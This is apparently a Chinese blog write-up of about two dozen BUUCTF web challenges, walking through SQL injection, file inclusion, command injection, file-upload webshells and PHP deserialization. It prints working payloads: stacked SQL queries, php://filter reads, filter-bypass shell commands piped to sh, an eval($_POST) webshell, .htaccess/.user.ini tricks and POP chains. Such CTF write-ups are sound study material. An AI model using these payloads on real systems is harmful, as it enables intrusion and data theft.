陪XX的WebBUU刷题(一)

一、EasySQL

🔺SQL注入登录

简单的SQL注入

1.查看网页源代码

image-20220106105755040

可以看到是check.php在对登录按钮进行操作,使用的方法是GET,加上题目提示是SQL注入,所以就直接尝试SQL注入。

2.注入原理

由于SQL注入中涉及单引号和双引号,且对字符串的处理基本都是单引号进行处理,检测一下,倘若我们使用双引号进行注入

1
check.php?username=aaa' or "1"="1&password=aaa' or "1"="1

那么出现如下错误

image-20220106110800649

那么采用单引号进行注入

1
check.php?username=aaa' or '1'='1&password=aaa' or '1'='1

之后即可成功

image-20220106142353692

二、[HCTF 2018]WarmUp

🔺文件包含漏洞

提示有source.php,访问一下看到源码,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "aaaa";
}
?>

emmm::checkFile函数返回True可以触发文件包含,这里简单调试一下就知道,由于mb_substrmb_strpos的使用,导致可以用file=source.php?xxxxx来进行绕过检测。

即最终可以执行到include("source.php?xxxxx")

然后查看hint.php,发现flagffffllllaaaagggg,那么即可触发文件包含漏洞,执行代码include("source.php?../../../../../../ffffllllaaaagggg")

这里比较有意思的一点是对于include函数的使用

1
2
include("xxxx.php?../../flag");
include("xxxx.php../../flag");

两个类似的代码,一个有?,一个没有,然后在Linux环境下,这两个代码都代表包含当前目录下的flag,但是在Windows环境下,有?的执行不成功,没有的可以执行成功,有点离谱。

当然,这个xxxx.php换成其他字符都可以。

三、[极客大挑战 2019]Havefun1

🔺简单查询

查看源代码,跳过css和style部分

可以看到注释部分的提示

image-20220107114730804

即当cat=dog时,就会输出Syc{cat_cat_cat},但是一般这都是作者给的提示,实际输出内容可能不是Syc{cat_cat_cat},所以先尝试一波

1
url/index.php?cat=dog

直接出flag了

image-20220107114926958

四、[ACTF2020 新生赛]Include

🔺PHP伪协议

1.前置探索

点击tips之后发现输出提示,获取到使用file协议的flag.php

image-20220107120937019

查看flag.php的网页源代码但是什么也没有

image-20220107121010226

之后尝试利用php的伪协议来读取flag.php的源代码

2.php伪协议利用

这个比较复杂,之后再专门总结一下,反正这里涉及了file,那么尝试用该协议的payload来读取

1
/?file=php://filter/read=convert.base64-encode/resource=flag.php

这里给出的是比较普遍性的,用base64来进行获取的,读取之后得到base64编码的一串字符

image-20220107121629962

3.base64解码

获取到上面的base64编码后,运用CyberChef解码即可得到flag

image-20220107121805266

五、[强网杯 2019]随便注1

🔺SQL注入+三种姿势

可以先用单引号判断是否存在SQL注入

1
/index.php?inject=1'

出现如下,出错则代表存在

image-20220107125314983

那么先查询存在的表

1
/index.php?inject=';show tables;#

发现有如下两个表

image-20220107162320203

然后分别查看一下对应的

1
/index.php?inject=';show columns from words;#

image-20220107162923778

1
/index.php?inject=';show columns from `1919810931114514`;#

image-20220107162957623

那么flag就在表1919810931114514中,注意查询数字表的时候需要加反引号`

解析words表

那么由于输入1,2会出现如下数据

image-20220107164211829

image-20220107164221323

这里的第二个数据段是字符型,那么就应该是在表words中,此时就大概是如下的表格

id data
1 hahahah
2 miaomiaomiao

解析1919810931114514

依据列大概猜测如下

flag
………..不知

这里select被过滤了,无法直接从表1919810931114514中获取所以尝试一下其他的解法。

1.解法一(改表)

修改表名字,使得保存flag的表1919810931114514名字变为表words,之后把flag字段变为data字段,添加id字段,输入1,2然后就可以打印出flag了。

(1)改名

1
/index.php?inject=1'; rename table words to word1; rename table `1919810931114514` to words;#

(2)增添id字段

1
/index.php?inject=1'; alter table words add id int unsigned not Null auto_increment primary key;#

(3)修改flag为data字段

1
/index.php?inject=1';alert table words change flag data varchar(100);#

总的payload

1
/index.php?inject=1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;alert table words change flag data varchar(100);#

最后输入1提交即可

2.解法二(open和handler)

利用open和handle关键字

1
/index.php?inject='; handler `1919810931114514` open as `a`; handler `a` read next;#

这样可以直接读出来表1919810931114514的所有内容

image-20220107171100441

3.解法三(MySQL的预处理)

利用预处理机制prepare和concat拼接获得select操作,之后execute来执行,这里好像不能小写,可以通过大写来绕过

1
2
/index.php?inject=';PREPARE st from concat('s','elect', ' * from `1919810931114514` 
');EXECUTE st;#

image-20220107171702374

六、[SUCTF 2019]EasySQL

涉及知识点有点多

七、[ACTF2020 新生赛]Exec

🔺命令执行+寻找flag

1.远程命令执行

一般这种ping的界面,都可能会涉及到命令执行

image-20220109120351450

那么直接尝试一下即可,ping一下本地回环地址

输入

1
127.0.0.1;pwd

image-20220109120428320

可以看到存在远程命令执行,那么就尝试找flag在哪,也就是一个路径搜索。

2.搜索flag路径

输入

1
127.0.0.1;ls

image-20220109120604954

那么去根目录找

输入

1
127.0.0.1;ls /

image-20220109120649283

可以看到flag,那么直接cat即可

1
127.0.0.1;cat /flag

得到flag

image-20220109120742963

八、[极客大挑战 2019]Secret File

🔺抓包+伪协议

1.前期探索

查看源代码,有如下文件,访问一下

image-20220109121055447

接着按照提示,但是直接跳转到了

image-20220109121144475

那么中间可能执行太快,这时候就需要抓包来看看具体是怎么执行的。

2.抓包

用BurpSuit抓包,发现有一个action.php,里面有个secr3t.php的提示

image-20220109183459387

访问一下secr3t.php

image-20220109183542434

提示放在了flag.php,访问之后发现什么也没有

image-20220109183616033

那么这里由于secr3t.php存在file的协议,所以可以尝试使用php伪协议获取flag.php的源代码

1
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20220109183730031

拿到CyberChef解密,得到flag

image-20220109183825033

九、[极客大挑战 2019]LoveSQL

十、[GXYCTF2019]Ping Ping Ping

🔺命令执行

1.前期探索

Ping提示+ip,应该是命令执行,直接ls试试

1
/?ip=127.0.0.1;ls

image-20220110200315404

发现flag,尝试cat

1
/?ip=127.0.0.1;cat flag.php

image-20220110200415489

2.绕过过滤

应该是过滤的空格

▲绕过空格:一般思路如下

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1 //其中那个1加其他的应该都行
<
<>
{cat,flag.php}
$20
$09(空字符)

参考[GXYCTF2019]Ping Ping Ping - 春告鳥 - 博客园 (cnblogs.com)

使用$IFS可以,但是又发现过滤了flag

image-20220110202147216

那么接下的解法就多种多样了。

解法一:拼接flag

1
/index.php?ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$1$a$b

flag在注释里,查看网页源代码即可

image-20220111112715736

解法二:sh结合base64

▲linux自带base64和base32

由于linux的sh自带base64的加解密,所以我们可以传入base64的密文,然后利用linux的sh终端自带的base64解密功能进行解密,这样可以在一定程度上绕过很多过滤,另外base32也可以

(1)base64加密

使用CyberChef或者linux命令行都行

image-20220111113614306

image-20220111113634402

(2)base64解密

1
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

将之前加密的”cat flag.php”传给base64解密,然后sh执行

对应写在URL上即为

1
/index.php?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

解法三:linux内联执行

命令中会先执行反引号里的,然后将输入结果依次传递给其他命令进行执行

由于flag就在当前文件夹下,所以

1
2
cat `ls`;
#先执行ls输出 index.php 和 flag.php,之后将输入结果给到cat命令,相当于再执行 cat index.php;cat flag.php

对应URL为

1
/index.php?ip=127.0.0.1;cat$IFS$9`ls`

▲其他

此外命令执行有很多方法可以绕过,这里ban掉了很多,像<\等都是有可能

命令执行绕过的方法 - GLCC - 博客园 (cnblogs.com)

十一、[极客大挑战 2019]Knife

🔺一句话木马

依据提示以及如下的语句,猜测是一句话木马,密码为Syc

image-20220111144925504

使用蚁剑连接

蚁剑教程:获取蚁剑 · 语雀 (yuque.com)

然后直接复制URL进行连接即可,右键->添加数据

image-20220111145119474

进去之后进入根目录寻找flag

image-20220111145143729

image-20220111145208831

十二、[极客大挑战 2019]Http

🔺使用BurpSuit改包头

1.前期探索

直接源代码,搜索.php,发现一个Secrect.php

image-20220111141159974

然后访问,发现需要从https://Sycsecret.buuoj.cn访问才行

image-20220111141218518

那么就使用BurpSuite进行修改

2.BurpSuite使用改包

首先浏览器开启代理,BurpSuite抓到包

image-20220111141339457

然后将包发送到repeater

image-20220111141424655

在Repeater最新出现的一部分就是

image-20220111141531436

(1)修改Referer

由于说要从https://Sycsecret.buuoj.cn访问,所以添加如下,在Get下添加

1
Referer: https://Sycsecret.buuoj.cn

image-20220111141726767

点击Go按钮发送包

image-20220111141823417

返回的包提示不行,那么需要修改浏览器名称

image-20220111141837951

(2)修改User-Agent

修改如下

1
User-Agent: Syclover

image-20220111142004093

还是不行,提示需要从本地local读取

image-20220111142051767

(3)修改X-Forwarded-For

添加如下

1
X-Forwarded-For: 127.0.0.1

image-20220111142201689

发送后得到flag

image-20220111142221310

十三、[极客大挑战 2019]Upload

🔺文件上传漏洞、一句话木马

1.前期探索

进入之后发现让选择图片进行上传,那么就考虑一句话木马的隐写,然后再上传

首先尝试上传.php文件,失败,接着考虑测绕过。

2.绕过过滤

(1)修改Content-Type

image-20220112120212319

失败,后缀名不能为.php

image-20220112120239252

(2)修改后缀名

修改为phtml,这种格式在服务器也会被作为php文件解析。

image-20220112120451143

成功,但是不能是<?开头,那么尝试使用html格式。还有的php文件后缀名可以修改如下

1
2
3
4
5
6
7
8
9
10
- 利用中间件解析漏洞绕过检查,实战常用
- 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
- %00截断绕过
- php3文件
- php4文件
- php5文件
- php7文件
- phtml文件
- phps文件
- pht文件

[BUUOJ记录] [ACTF2020 新生赛]Upload - Ye’sBlog - 博客园 (cnblogs.com)

(3)修改php格式

修改内容为

1
<script language="php">eval($_POST['shell']);</script>

image-20220112120616999

成功,但是也被探测到,那么尝试修改文件头部格式

image-20220112120712009

(4)尝试修改文件头部

在文件头加上GIF89a

image-20220112121007758

上传成功

image-20220112121056862

3.查找上传文件路径

一般而言,上传的都在upload,成功找到

image-20220112121305153

那么蚁剑连接,根目录下找到flag

image-20220112121815697

十四、[ACTF2020 新生赛]Upload

和十三题一样,直接一句话木马,文件格式为phtml,修改content-type即可,然后蚁剑连上在根目录下找flag。需要注意的是要先上传成功一个文件才会抓到上传的包,因为这里的验证是在前端验证后缀名的。

十五、[RoarCTF 2019]Easy Calc

🔺命令执行、php字符串解析、HTTP走私攻击

1.前期探索

查看源代码,发现如下.php文件

image-20220112190657868

访问一下,发现源代码,分析过滤了一些东西,然后我们输入的num字符串进行解析,并且使用eval执行后输出

image-20220112191231694

主要以下代码,过滤了很多东西,然后执行输出

1
2
3
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
eval('echo '.$str.';')

尝试phpinfo(),发现直接报错,大佬们说是Waf的原因,具体也不太知道怎么判断出Waf的,经过测试,这里的waf会过滤掉所有带字母的num变量内容。

image-20220113115855930

所以大概有两种方法

2.解决方法

解法一:利用php字符串解析特性绕过WAF

(1)绕过WAF

利用php解析字符串时,会自动去掉多余的空格这个特性,即当我们调试时

输入中间加入了空格的num,发现php依然能够成功解析出num这个变量

1
http://127.0.0.1/index.php?%20num=phpinfo()

image-20220113115626996

image-20220113115655830

但是WAF可不会管空不空格的,对于Waf来说,传过去的是带了空格的num变量,不是num变量,所以不会进行过滤,会将带了空格的num变量传递给calc.php文件进行解析,这样就成功绕过了WAF。

(2)绕过过滤

由于过滤了/,所以这里使用chr(47)来进行绕过,这是/字符的ascii码

先查看根目录下有什么内容

1
/calc.php?%20num=var_dump(scandir(chr(47)))

发现有flag

image-20220113121152229

那么利用php中的函数进行获取

1
/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

得到flag

image-20220113121256750

解法二:利用HTTP走私攻击

这个具体的原理实在是有点不太能理解,可能需要深入研究一下。以我的理解来说,就是通过修改content-length或者Transfer-Encoding,来使得数据包在前后端解析的过程中,让前端以为该数据包的内容比较少,使其认为不包含需要过滤的内容,从而把完整的数据包发给后端,绕过前端的Waf等过滤。

BurpSuit抓包之后,修改content-length或者Transfer-Encoding

(1)利用CL-CL

image-20220113150704935

1
2
Content-Length: 0
Content-Length: 0

(2)利用CL-TE

image-20220113151848304

1
2
Transfer-Encoding: chunked
Content-Length: 3

有时候又很奇怪,就离谱。

同时GET改成POST也是可以的。

后面都一样了,就是绕过后端的过滤。

4.17. HTTP 请求走私 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)

十六、[极客大挑战 2019]PHP

🔺PHP反序列化

1.分析

dirsearch扫描发现www.zip,该文件为网址备份文件,可以下载下来,其中为

image-20220710161845497

之后看index.php中有如下代码

image-20220710161859892

再转到class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

__destruct函数中,当传入的用户名为admin会输出flag,但是在__wakeup函数中,用户名被赋值为guest。我们知道__wakeup是在反序列化的最开始调用的,需要去找个绕过方法。

2.绕过__wakeup

(1)CVE-2016-7124

满足如下条件

1
2
PHP5 < 5.6.25
PHP7 < 7.0.10

在反序列化时,成员个数的值大于实际成员个数时,会跳过__wakeup函数的执行,也就是使得传入的序列化字符串的成员个数大于实际的成员个数。如下,将Name这个对象对应的成员个数由原本的2改为3即可绕过。

1
2
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

参考:PHP 内核层解析反序列化漏洞 (seebug.org)

(2)小技巧

对于实际添加成员的属性也能从一种程度上绕过__wakeup,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class A{
function __toString(){
print_r("calling __toString\n");
return "";
}
function __wakeup(){
print_r("calling __wakeup\n");
}
}

class B{
public $a;
function __destruct(){
echo $this->a;
}
}
$b = new B();
$b->a = new A();
$myStr = serialize($b);
print_r($myStr);

//$objStr = 'O:1:"B":1:{s:1:"a";O:1:"A":0:{}s:1:"n":N;}';
//$originStr = 'O:1:"B":1:{s:1:"a";O:1:"A":0:{}}';
//unserialize($objStr);
//echo "aa";
?>

先生成一下序列化链子,得到$originStr

1
2
3
$originStr = 'O:1:"B":1:{s:1:"a";O:1:"A":0:{}}';
//添加一个属性 `s:1:"n":N;`得到如下$objStr
$objStr = 'O:1:"B":1:{s:1:"a";O:1:"A":0:{}s:1:"n":N;}';

之后进行反序列化,发现先__toString,再调用__wakeup

1
unserialize($objStr);

这样也代表从另一种方式绕过__wakeup函数了。

此外替换s:1:"n":N;;其实也是可以的,在php8版本下也是可以的,不知道是不是某个CVE

(3)php_bug

题目见:Sekai Game Start

PHP :: Bug #81151 :: bypass __wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class E {
public function __construct(){

}

public function __destruct(){
echo "destruct";
}

public function __wakeup(){
echo "wake up";
}
}

var_dump(unserialize('C:1:"E":0:{}'));

如下所示,在php8.0也可以

image-20221004155126882

3.private成员

序列化时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class Name{
public $username = 'nonono';
private $password = 'yesyes';
protected $cookie = 'cookie';

public function __construct($username,$password,$cookie){
$this->username = $username;
$this->password = $password;
$this->cookie = $cookie;
}
}
$a = new Name('admin', 100,"cookie");
$b = serialize($a);
echo "aaa";

?>

不同类型的成员序列化之后成员变量名保存的形式不太一样

  • private

    变为\x00className\x00memberName

  • public

    仍然为原始的,即username

  • protected

    变为\x00*\x00memberName

所以在传入反序列字符串时,需要考虑到这些特点,这里对应private成员就需要传入URL编码的\x00%00

4.最终payload

修改成员数量绕过__wakeup,加入%00表示private成员

1
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

十七、[ACTF2020 新生赛]BackupFile

🔺PHP弱类型比较、网站源码备份

首先获取备份源码url/index.php.bak,扫一下也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

看到当传入的key等于str时会打印flag,但是又不能传字符,这里就用到弱类型比较

1
2
3
4
5
6
7
<?php
$key = 123;
$abc = "123aaaa";
if($key == $abc){
echo "bbbb";
}
?>

上述代码会输出bbbb,原因就是当==比较对象中任意一个为数字,就会把另一个比较对象也强制转换为数字,对于字符串型的强制转换,会从左开始遍历,直到碰到非数字的部分,丢弃之后的部分,转换为数字,所以条件成立。

1
2
$abc = "123aaaa333";
echo intval($abc);

上述代码会输出123

那么传入key=123即可。

十八、[HCTF 2018]admin

🔺爆破、模板库函数、

一题三解之2018HCTF&admin - 安全客,安全资讯平台 (anquanke.com)

提示admin,有登录注册界面,注册界面注册admin失败,应该有该用户。那么直接尝试Burpsuite弱密码爆破。BUU平台发包需要慢一点

image-20220711121051309

爆出来123,登录得flag。这不算什么解法,就记录一下。

1.解法一

pythonflask模板库Twisted中的函数问题

在修改密码的页面源代码有提示,该网站使用的为pythonflash模板,给了相关网址:woadsl1234/hctf_flask: hctf_flask (github.com),其中的各个包版本

image-20220712144242517

  • 查找flask的路由routes.py,注册、登录、修改密码的相关函数,使用的都是strlower函数

    1
    2
    3
    def strlower(username):
    username = nodeprep.prepare(username)
    return username

    来将用户名进行小写化,而nodeprep位于包Twisted==10.2.0

  • 下载对应版本的包,跟进查看函数

    1
    2
    3
    4
    5
    nodeprep = Profile(mappings=[B_1, B_2],
    prohibiteds=[C_11, C_12, C_21, C_22,
    C_3, C_4, C_5, C_6, C_7, C_8, C_9,
    LookupTable([u'"', u'&', u"'", u'/',
    u':', u'<', u'>', u'@'])])

    使用相关的unicode编码,相关编码可查:

    Unicode - Unicode Character Table (unicode-table.com)

    制定了相关表格索引,不知道是怎么制定的,应该是字典啥的把,比如经过nodeprep.prepare之后

    1
    2
    u'\u0041'  ---->   u'\u0061'
    A ----> a

    不过在该题的版本下,也就是Twisted==10.2.0,其内部代码可能有点问题,导致

    1
    2
    u'\u1d2c'  ---->   u'\u0041'
    ᴬ ----> A

    这样就有点问题,导致如下情况

    1
    2
    strlower('ᴬ')=A
    strlower('A')=a

    不过现在最新版本的Twisted已经没了这个问题。

  • 依据这样,注册的时候使用ᴬdmin,变成了用户Admin。然后登录Admin,修改密码,变成了修改admin的密码,即可得到admin账户。

2.解法二

利用flask模板存在于客户端的缺陷,伪造session,版本安装老失败,放弃

3.解法三

条件竞争,就是在改密码的时候中断,然后利用登录功能,尝试登录admin,将当前的session['name']改为admin,之后再回到改密码的地方,将admin的密码改掉。

image-20220713111008888

按理说再登录的时候,应该先查有没有该用户的,登录之后再进行session['name']的赋值这里就是利用了先赋值session['name']的漏洞。

十九、[BJDCTF2020]Easy MD5

[BUUOJ记录] [BJDCTF2020]Easy MD5 - Ye’sBlog - 博客园 (cnblogs.com)

🔺MD5+SQL、PHP弱比较、数组绕过

1.MD5实现SQL注入

第一关的的http头部有hint

1
select * from 'admin' where password=md5($pass,true)

参数为true代表返回原始16字符二进制格式,也就是相当于SQL语句被md5之后的字符直接控制,那么尝试构造如下

1
select * from 'admin' where password=''or'xxx' 

这样就能绕过了。

也就是找一个字符串str,其md5(str)='or'xxx ,而'or' 对应的16进制为0x276f7227,那么字符串ffifdyopmd5就满足这个条件(不知道这么来的)。

PS:那如果以后想找不一样的的,是否需要用到md5碰撞?

2.PHP结合MD5弱类型比较

查看源码,注释部分有提示

1
2
3
4
5
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

这个没啥好说的,找一下0exx这个科学计数法,代表0的xx次方,还是0。QNKCDZOs214587387a

3.数组绕过

有源码

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

利用PHPmd5计算特性

1
2
3
4
5
md5(array()) = null
sha1(array()) = null
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

POST传入param1[]=1&param2[]=2即可得到Flag

二十、[ZJCTF 2019]NiZhuanSiWei

🔺伪协议、反序列化

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

需要设置text,但是用的是file_get_contents,这个需要为文件流,可以使用data伪协议。

1
text=data://text/plain,welcome%20to%20the%20zjctf

然后file提示包含进useless.php,使用php://filter/伪协议进行读取

1
file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码后获取到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

可以看到会输出file成员指向的文件,那么修改fileflag.php,进行序列化,得到

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

结合所有的,最后反序列化password得到最终的payload

1
text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在源码注释中看到flag

二十一、[MRCTF2020]你传你🐎呢

🔺.htaccess利用

传入.htaccess如下

1
2
3
<FilesMatch "test.png">
SetHandler application/x-httpd-php
</FilesMatch>

使得php可以解析test.pngphp,从而执行。不过.htaccess只能在apache服务中起作用

二十二、[SUCTF 2019]CheckIn

🔺.user.ini利用

传入.user.ini如下

1
2
GIF89a
auto_prepend_file=origin.png

参考浅析.htaccess和.user.ini文件上传 - FreeBuf网络安全行业门户

auto_prepend_file表示.user.ini存在的当前目录下执行php代码之前,预先文件包含进origin.png,从而能够进行作为php代码解析

二十三、[网鼎杯 2020 青龙组]AreUSerialz

🔺php反序列化的属性不敏感

打开得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

可以看到条件如下:

  • GET传入的str中每一个字符都需要在%32~%125,属于可见字符中
  • op"2"是,打印出filename
  • filename需要为flag.php

条件一

这个使用php7.1+针对成员属性不敏感的特性,即序列化后的字符串其正常的protected成员会有\00*\00来修饰,但是这里不允许传入\00,那就不传入。这个php7.1+的特性允许在没有修饰的时候,也能进行转换,不管是private还是protected。但是php7.1以下则不行,会将相关的变量置为null,如下所示,从而无法利用。

至于后面的多出来的属性是怎么回事,就不太知道了,估计是php底层代码问题

image-20220726173826850

条件二

可以注意到第一次在__destruct中比较op用的是强比较===

1
2
if($this->op === "2")
$this->op = "1";

而第二次在process函数中用的是弱比较==

1
2
3
4
5
6
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
}

那么就可以使得opint型的2,这样即可如下结果

1
2
3
if($this->op === "2") 		为False
if($this->op == "1") 为False
else if($this->op == "2") 为True

那么即可顺利跳到打印filename的地方

条件三就不用说了,对应赋值即可,最终payload

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

flag在注释里。

二十四、[SWPUCTF 2021 新生赛]pop

2857028-20220517191534625-963175506

🔺PHP的POP链

1.漏洞分析

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

只要调用到w33m->__toString就可以执行任意方法了。

2.漏洞利用

那么就是POP链了,就是借用PHP反序列的时候调用的各种魔术方法,串联起来,类似JAVA的反序列化,这里的链子即为

1
2
3
w22m->__destruct()
echo $this->w00m
w33m->__toString()下的$this->w00m->{$this->w22m}();

即设置$this->w22mGetflag$this->w00mw44m的实例化对象,即如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo "flag";
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$obj = new w22m();
$obj->w00m = new w33m();
$obj->w00m->w00m = new w44m();
$obj->w00m->w22m = "Getflag";
echo urlencode(serialize($obj));

?>

注:

  • 反序列unserialize只会调用到传入对象的__destruct,而不会调用其成员函数的__destruct

  • 函数调用的特殊写法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php

    class w44m{
    private $admin = 'aaaa';
    protected $passwd = 'bbbb';
    public function test($a,$b){
    echo $a;
    echo $b;
    echo "myTest";
    }
    }

    class w22m{
    public $w00m;
    }


    class w33m{
    public $w00m;
    public $w22m;

    }

    $c33 = new w33m();
    $c33->w22m = new w44m();
    $c33->w00m = "test";
    $c33->w22m->{$c33->w00m}("aaa","bbb");

    ?>

    即可以使用$c33->w22m->{$c33->w00m}("aaa","bbb");这种方式来调用某个类的方法。

二十五、[RoarCTF 2019]Easy Java

打开是登录界面,查看help,发现URL有点问题

image-20230530184715317